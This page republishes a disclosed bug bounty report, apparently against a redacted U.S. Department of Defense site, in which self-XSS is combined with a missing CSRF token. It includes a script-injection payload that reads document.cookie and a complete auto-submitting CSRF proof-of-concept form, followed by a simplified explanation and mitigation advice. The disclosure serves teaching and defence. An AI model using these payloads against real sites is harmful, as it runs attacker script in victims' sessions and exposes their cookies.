Skip to content
XSS Disclosed report Beginner

Self XSS + CSRF Leads to Reflected XSS in https://████/

The report claims that a form on the target site is vulnerable to self-XSS and lacks CSRF protection, allowing an attacker to combine these to perform a reflected XSS attack that executes JavaScript in the victim's browser.

sleepnotf0und Follow

Originally disclosed on HackerOne

  • Triaged in under an hour
  • Fixed in 27 days
  • Disclosed after 29 days

Hi Security Team, The form inputs in https://███/ Vulnerable to Self XSS Either the form was vulnerable to CSRF

When these two bugs available and attacker could combine them to Perform a Reflected XSS Attack

Impact

Reflected XSS Execute JS Code in behave of a user

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

1 - Visit https://███████/ 2 - type the payload in the "First Name" input test";</script><script>alert(document.cookie)</script> 3 - Fill all input then submit the form 4 - Notice the XSS popup 5 - Exploit the CSRF to Perform Reflected XSS attack by this Code:-

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://██████████/" method="POST">
      <input type="hidden" name="title" value="es" />
      <input type="hidden" name="first&#95;name" value="test";</script><script>alert(document.cookie)</script>" />
      <input type="hidden" name="middle&#95;name" value="test" />
      <input type="hidden" name="last&#95;name" value="test" />
      <input type="hidden" name="suffix" value="II" />
      <input type="hidden" name="sex" value="M" />
      <input type="hidden" name="██████&#95;█████" value="█████" />
      <input type="hidden" name="████████&#95;███████&#95;number" value="21365" />
      <input type="hidden" name="address&#95;1" value="test" />
      <input type="hidden" name="address&#95;2" value="test" />
      <input type="hidden" name="city" value="test" />
      <input type="hidden" name="state" value="ID" />
      <input type="hidden" name="zip&#95;code" value="53228" />
      <input type="hidden" name="country&#95;code" value="" />
      <input type="hidden" name="completion&#95;date" value="2&#47;23&#47;2021" />
      <input type="hidden" name="comments" value="test" />
      <input type="hidden" name="mail&#95;to&#95;first&#95;name" value="test&quot;&#59;&lt;&#47;script&gt;&lt;script&gt;alert&#40;&quot;HACKED&#32;BY&#32;Sleep&#32;NOt&#32;Found&quot;&#41;&lt;&#47;script&gt;" />
      <input type="hidden" name="mail&#95;to&#95;middle&#95;name" value="test" />
      <input type="hidden" name="mail&#95;to&#95;last&#95;name" value="test" />
      <input type="hidden" name="mail&#95;to&#95;suffix" value="II" />
      <input type="hidden" name="mail&#95;to&#95;address&#95;1" value="test" />
      <input type="hidden" name="mail&#95;to&#95;address&#95;2" value="test" />
      <input type="hidden" name="mail&#95;to&#95;city" value="test" />
      <input type="hidden" name="mail&#95;to&#95;state" value="ID" />
      <input type="hidden" name="mail&#95;to&#95;zip&#95;code" value="53228" />
      <input type="hidden" name="mail&#95;to&#95;country&#95;code" value="" />
      <input type="hidden" name="mail&#95;to&#95;email" value="lind&#46;regan4046&#64;yousmail&#46;com" />
      <input type="hidden" name="multiple&#95;submissions" value="true" />
      <input type="hidden" name="uniqueFormId" value="8567588" />
      <input type="hidden" name="action" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

Suggested Mitigation/Remediation Actions

The input Should be sanitized The Form should be Protected with a CSRF Token

The original report as published on HackerOne, by sleepnotf0und. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application fails to sanitise user input in the 'First Name' field and does not implement anti-CSRF tokens, allowing script injection and cross-site form submission.

Impact

An attacker could execute JavaScript in the context of a user's session.

What the attacker needed

Victim visits malicious page; victim submits form

How it was found

  1. Visit the target URL.
  2. Type a script payload into the 'First Name' input.
  3. Fill all inputs and submit the form.
  4. Observe the XSS popup.
  5. Use the provided CSRF HTML to perform a reflected XSS attack.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The form on a website did not properly clean up what users typed, so a malicious script could be inserted. Also, the form could be submitted from another website without the user's knowledge. Together, an attacker could trick a user into running harmful code.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by sleepnotf0und

View all

2 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.